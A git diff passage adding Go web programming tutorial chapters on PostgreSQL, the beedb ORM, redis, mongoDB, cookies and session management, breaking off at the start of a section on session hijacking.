[https://github.com/bmizerany/pq](https://github.com/lib/pq) supports `database/sql`, written in pure Go. +- [https://github.com/jbarham/gopgsqldriver](https://github.com/jbarham/gopgsqldriver) supports `database/sql`, written in pure Go. +- [https://github.com/lxn/go-pgsql](https://github.com/lxn/go-pgsql) supports `database/sql`, written in pure Go. + +I'll use the first one in my following examples. + +## Samples + +We create the following SQL: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/lib/pq" + "time" + ) + + const ( + DB_USER = "postgres" + DB_PASSWORD = "postgres" + DB_NAME = "test" + ) + + func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("last inserted id =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Note that PostgreSQL uses the `$1, $2` format instead of the `?` that MySQL uses, and it has a different DSN format in `sql.Open`. +Another thing is that the Postgres driver does not support `sql.Result.LastInsertId()`. +So instead of this, + + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);") + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + fmt.Println(res.LastInsertId()) + +use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id. + + err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId) + fmt.Println(lastInsertId) + +## Links + +- [Directory](preface.md) +- Previous section: [SQLite](05.3.md) +- Next section: [Develop ORM based on beedb](05.5.md) diff --git a/de/05.5.md b/de/05.5.md new file mode 100644 index 00000000..87bdeca8 --- /dev/null +++ b/de/05.5.md @@ -0,0 +1,256 @@ +# 5.5 Develop ORM based on beedb + +( ***Project beedb is no longer maintained, but the code s still there*** ) + +beedb is an ORM ( object-relational mapper ) developed in Go, by me. +It uses idiomatic Go to operate on databases, implementing struct to database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence. + +beedb is an open source project that supports basic ORM functionality, but doesn't support association queries. + +Because beedb supports `database/sql` interface standards, any driver that implements this interface can be used with beedb. I've tested the following drivers: + +Mysql: [github.com/ziutek/mymysql/godrv](github.com/ziutek/mymysql/godrv) + +Mysql: [code.google.com/p/go-mysql-driver](code.google.com/p/go-mysql-driver) + +PostgreSQL: [github.com/bmizerany/pq](github.com/bmizerany/pq) + +SQLite: [github.com/mattn/go-sqlite3](github.com/mattn/go-sqlite3) + +MS ADODB: [github.com/mattn/go-adodb](github.com/mattn/go-adodb) + +ODBC: [bitbucket.org/miquella/mgodbc](bitbucket.org/miquella/mgodbc) + +## Installation + +You can use `go get` to install beedb locally. + + go get github.com/astaxie/beedb + +## Initialization + +First, you have to import all the necessary packages: + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) + +Then you need to open a database connection and create a beedb object (MySQL in this example): + + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + +`beedb.New()` actually has two arguments. The first is the the database object, and the second is for indicating which database engine you're using. If you're using MySQL/SQLite, you can just skip the second argument. + +Otherwise, this argument must be supplied. For instance, in the case of SQLServer: + + orm = beedb.New(db, "mssql") + +PostgreSQL: + + orm = beedb.New(db, "pg") + +beedb supports debugging. Use the following code to enable it: + + beedb.OnDebug=true + +Next, we have a struct for the `Userinfo` database table that we used in previous sections. + + type Userinfo struct { + Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key. + Username string + Departname string + Created time.Time + } + +Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have `UserInfo` as the struct name, beedb will convert it to `user_info` in the database. The same rule applies to struct field names. +Camel + +## Insert data + +The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change. + + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) + +You can check `saveone.Uid` after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you. + +beedb provides another way of inserting data; this is via Go's map type. + + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) + +Insert multiple data: + + addslice := make([]map[string]interface{}, 10) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice = append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) + +The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It returns the original ORM object after calls, then continues doing other jobs. + +The method `SetTable` tells the ORM we want to insert our data into the `userinfo` table. + +## Update data + +Let's continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record. + + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) // update + +Like before, you can use map for updating data also: + + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + +Let me explain some of the methods used above: + +- `.SetPK()` tells the ORM that `uid` is the primary key records in the `userinfo` table. +- `.Where()` sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for `Where("=?", )`. +- `.Update()` method accepts a map and updates the database. + +## Query data + +The beedb query interface is very flexible. Let's see some examples: + +Example 1, query by primary key: + + var user Userinfo + // Where accepts two arguments, supports integers + orm.Where("uid=?", 27).Find(&user) + +Example 2: + + var user2 Userinfo + orm.Where(3).Find(&user2) // short form that omits primary key + +Example 3, other query conditions: + + var user3 Userinfo + // Where accepts two arguments, supports char type. + orm.Where("name = ?", "john").Find(&user3) + +Example 4, more complex conditions: + + var user4 Userinfo + // Where accepts three arguments + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) + +Examples to get multiple records: + +Example 1, gets 10 records with `id>3` that starts with position 20: + + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) + +Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records: + + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) + +Example 3, gets all records: + + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) + +As you can see, the Limit method is for limiting the number of results. + +- `.Limit()` supports two arguments: the number of results and the starting position. 0 is the default value of the starting position. +- `.OrderBy()` is for ordering results. The argument is the order condition. + +All the examples here are simply mapping records to structs. You can also just put the data into a map as follows: + + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() + +- `.Select()` tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default. +- `.FindMap()` returns the `[]map[string][]byte` type, so you need to convert to other types yourself. + +## Delete data + +beedb provides rich methods to delete data. + +Example 1, delete a single record: + + // saveone is the one in above example. + orm.Delete(&saveone) + +Example 2, delete multiple records: + + // alluser is the slice which gets multiple records. + orm.DeleteAll(&alluser) + +Example 3, delete records by SQL: + + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() + +## Association queries + +beedb doesn't support joining between structs. +However, since some applications need this feature, here is an implementation: + + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid") + .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + +We see a new method called `.Join()` that has three arguments: + +- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc. +- The second argument: the table you want to join with. +- The third argument: join condition. + +## Group By and Having + +beedb also has an implementation of `group by` and `having`. + + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() + +- `.GroupBy()` indicates the field that is for group by. +- `.Having()` indicates conditions of having. + +## Future + +I have received a lot of feedback on beedb from many people all around world, and I'm thinking about reconfiguring the following aspects: + +- Implement an interface design similar to `database/sql/driver` in order to facilitate CRUD operations. +- Implement relational database associations like one to one, one to many and many to many. Here's a sample: + + type Profile struct { + Nickname string + Mobile string + } + type Userinfo struct { + Uid int + PK_Username string + Departname string + Created time.Time + Profile HasOne + } + +- Auto-create tables and indexes. +- Implement a connection pool using goroutines. + +## Links + +- [Directory](preface.md) +- Previous section: [PostgreSQL](05.4.md) +- Next section: [NoSQL database](05.6.md) diff --git a/de/05.6.md b/de/05.6.md new file mode 100644 index 00000000..bf3bdc0a --- /dev/null +++ b/de/05.6.md @@ -0,0 +1,113 @@ +# 5.6 NoSQL database + +A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used. + +As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases. + +## redis + +redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types. + +There are some Go database drivers for redis: + +- [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) +- [http://code.google.com/p/tideland-rdc/](http://code.google.com/p/tideland-rdc/) +- [https://github.com/simonz05/godis](https://github.com/simonz05/godis) +- [https://github.com/hoisie/redis.go](https://github.com/hoisie/redis.go) + +I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day). + +- [https://github.com/astaxie/goredis](https://github.com/astaxie/goredis) + +Let's see how to use the driver that I forked to operate on a database: + + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = "127.0.0.1:6379" + + // string manipulation + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + // list operation + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } + +We can see that it's quite easy to operate redis in Go, and it has high performance. Its client commands are almost the same as redis' built-in commands. + +## mongoDB + +mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster. + +![](images/5.6.mongodb.png?raw=true) + +Figure 5.1 MongoDB compared to Mysql + +The best driver for mongoDB is called `mgo`, and it is possible that it will be included in the standard library in the future. + +Here is the example: + + package main + + import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + panic(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + panic(err) + } + + fmt.Println("Phone:", result.Phone) + } + +We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop ORM based on beedb](05.5.md) +- Next section: [Summary](05.7.md) diff --git a/de/05.7.md b/de/05.7.md new file mode 100644 index 00000000..96c8bf8e --- /dev/null +++ b/de/05.7.md @@ -0,0 +1,11 @@ +# 5.7 Summary + +In this chapter, you first learned about the design of the `database/sql` interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases. + +After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the `database/sql` interface. + +## Links + +- [Directory](preface.md) +- Previous section: [NoSQL database](05.6.md) +- Next section: [Data storage and session](06.0.md) diff --git a/de/06.0.md b/de/06.0.md new file mode 100644 index 00000000..2c517a6d --- /dev/null +++ b/de/06.0.md @@ -0,0 +1,11 @@ +# 6 Data storage and sessions + +An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance). + +In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save these sessions directly into our database. We'll talk more about this in section 6.4. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 5 Summary](05.7.md) +- Next section: [Session and cookies](06.1.md) diff --git a/de/06.1.md b/de/06.1.md new file mode 100644 index 00000000..866f13dd --- /dev/null +++ b/de/06.1.md @@ -0,0 +1,110 @@ +## 6.1 Session and cookies + +Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two use cases. + +Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called "web crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login. + +When we first receive a login page and type in a username and password, after we press the "login" button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access priviledges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either on the server side or client side using cookies and sessions. + +Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user. + +![](images/6.1.cookie2.png?raw=true) + +Figure 6.1 cookie principle. + +Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client's identity. + +![](images/6.1.session.png?raw=true) + +Figure 6.2 session principle. + +## Cookies + +Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it. + +![](images/6.1.cookie.png?raw=true) + +Figure 6.3 cookie in browsers. + +Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies. + +If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system. + +If your application does set an expiry time (for example, setMaxAge(60*60*24)), the browser *will* save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory.    + +## Set cookies in Go + +Go uses the `SetCookie` function in the `net/http` package to set cookies: + + http.SetCookie(w ResponseWriter, cookie *Cookie) + +`w` is the response of the request and cookie is a struct. Let's see what it looks like: + + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } + +Here is an example of setting a cookie: + + expiration := time.Now().Add(365 * 24 * time.Hour) + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) +   + +## Fetch cookies in Go + +The above example shows how to set a cookie. Now let's see how to get a cookie that has been set: + + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) + +Here is another way to get a cookie: + + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } + +As you can see, it's very convenient to get cookies from requests. + +## Sessions + +A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers. + +Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct. + +Sessions are a server side mechanism, and usually employ hash tables (or something similar) to save incoming information. + +When an application needs to assign a new session to a client, the server should check if there are any existing sessions for same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually). + +The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all". + +## Summary + +In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different ways. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites. + +Here are two common exploits: + +1. appA setting an unexpected cookie for appB. +2. XSS attack: appA uses the JavaScript `document.cookie` to access the cookies of appB. + +After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss sessions in more detail in the following sections. + +## Links + +- [Directory](preface.md) +- Previous section: [Data storage and session](06.0.md) +- Next section: [How to use session in Go](06.2.md) diff --git a/de/06.2.md b/de/06.2.md new file mode 100644 index 00000000..8b386458 --- /dev/null +++ b/de/06.2.md @@ -0,0 +1,222 @@ +# 6.2 How to use sessions in Go + +In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session manager in Go. + +## Creating sessions + +The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session ids to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed: + +- Create a unique session id +- Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions. +- Send the unique session id to the client. + +The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites. + +- Cookies: the server can easily use `Set-cookie` inside of a response header to save a session id to a client, and a client can then this cookie for future requests; we often set the expiry time for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers. +- URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best choice if clients have disabled cookies in their browsers. + +## Use Go to manage sessions + +We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session manager. + +### Session management design + +Here is a list of some of the key considerations in session management design. + +- Global session manager. +- Keep session id unique. +- Have one session for every user. +- Session storage in memory, file or database. +- Deal with expired sessions. + +Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions. + +### Session manager + +Define a global session manager: + + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } + +Create a global session manager in the `main()` function: + + var globalSessions *session.Manager + // Then, initialize the session manager + func init() { + globalSessions = NewManager("memory","gosessionid",3600) + } + +We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a `Provider` interface in order to represent the underlying structure of our session manager: + + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } + +- `SessionInit` implements the initialization of a session, and returns new a session if it succeeds. +- `SessionRead` returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist. +- `SessionDestroy` given an sid, deletes the corresponding session. +- `SessionGC` deletes expired session variables according to `maxLifeTime`. + +So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations. + + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } + +This design takes its roots from the `database/sql/driver`, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function. + + var provides = make(map[string]Provider) + + // Register makes a session provider available by the provided name. + // If a Register is called twice with the same name or if the driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provide is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provide " + name) + } + provides[name] = provider + } + +### Unique session ids + +Session ids are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal: + + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } + +### Creating a session + +We need to allocate or get an existing session in order to validate user operations. The `SessionStart` function is for checking if any there are any sessions related to the current user, creating a new session non are found. + + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } + +Here is an example that uses sessions for a login operation. + + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } + +### Operation value: set, get and delete + +The `SessionStart` function returns a variable that implements a session interface. How do we use it? + +You saw `session.Get("uid")` in the above example for a basic operation. Now let's examine a more detailed example. + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations. + +Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This way, the GC will not delete sessions that have expired but are still being used. + +### Reset sessions + +We know that web application have a logout operation. When users logout, we need to delete the corresponding session. We've already used the reset operation in above example -now let's take a look at the function body. + + //Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } + +### Delete sessions + +Let's see how to let the session manager delete a session. We need to start the GC in the `main()` function: + + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } + +We see that the GC makes full use of the timer function in the `time` package. It automatically calls GC when the session times out, ensuring that all sessions are usable during `maxLifeTime`. A similar solution can be used to count online users. + +## Summary + +So far, we implemented a session manager to manage global sessions in the web application and defined the `Provider` interface as the storage implementation of `Session`. In the next section, we are going to talk about how to implement `Provider` for additional session storage structures, which you will be able to reference in the future. + +## Links + +- [Directory](preface.md) +- Previous section: [Session and cookies](06.1.md) +- Next section: [Session storage](06.3.md) diff --git a/de/06.3.md b/de/06.3.md new file mode 100644 index 00000000..149a3a93 --- /dev/null +++ b/de/06.3.md @@ -0,0 +1,139 @@ +# 6.3 Session storage + +We introduced a simple session manager's working principles in the previous section, and among other things, we defined a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well. + + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string // unique session id + timeAccessed time.Time // last access time + value map[interface{}]interface{} // session value stored inside + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex // lock + sessions map[string]*list.Element // save in memory + list *list.List // gc + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + + +The above example implements a memory based session storage mechanism. It uses its `init()` function to register this storage engine to the session manager. So how do we register this engine from our main program? + + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) + +We use the blank import mechanism (which will invoke the package's `init()` function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager: + + var globalSessions *session.Manager + + // initialize in init() function + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } + +## Links + +- [Directory](preface.md) +- Previous section: [How to use sessions in Go](06.2.md) +- Next section: [Prevent session hijacking](06.4.md) diff --git a/de/06.4.md b/de/06.4.md new file mode 100644 index 00000000..beeed381 --- /dev/null +++ b/de/06.4.md @@ -0,0 +1,93 @@ +# 6.4 Preventing session hijacking + +Session hijacking is a common yet serious security threat. Clients use session ids for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id. + +In this section, we are going to show you how to hijack a session for educational purposes. + +## The session hijacking process + +The following code is a counter for the `count` variable: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + 